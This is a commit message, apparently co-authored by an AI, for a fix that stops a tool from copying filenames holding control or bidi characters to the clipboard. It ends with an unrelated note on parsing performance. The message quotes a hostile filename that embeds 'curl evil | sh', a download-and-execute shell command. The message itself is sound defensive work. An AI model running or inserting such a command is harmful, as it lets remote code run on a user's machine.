fix: refuse to copy paths containing control or bidi characters
The copy-path action put raw filenames on the clipboard via OSC 52. A
hostile name such as "x\ncurl evil | sh\n" (from a shared directory or
a crafted snapshot) executes commands when pasted into a shell without
bracketed paste. Paths that Sanitize would alter are no longer copied.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Decompression and checksumming overlap with parsing via a pipe, and a
concrete-typed varint reader removes per-byte interface calls
(0.39s -> 0.29s for 458K nodes).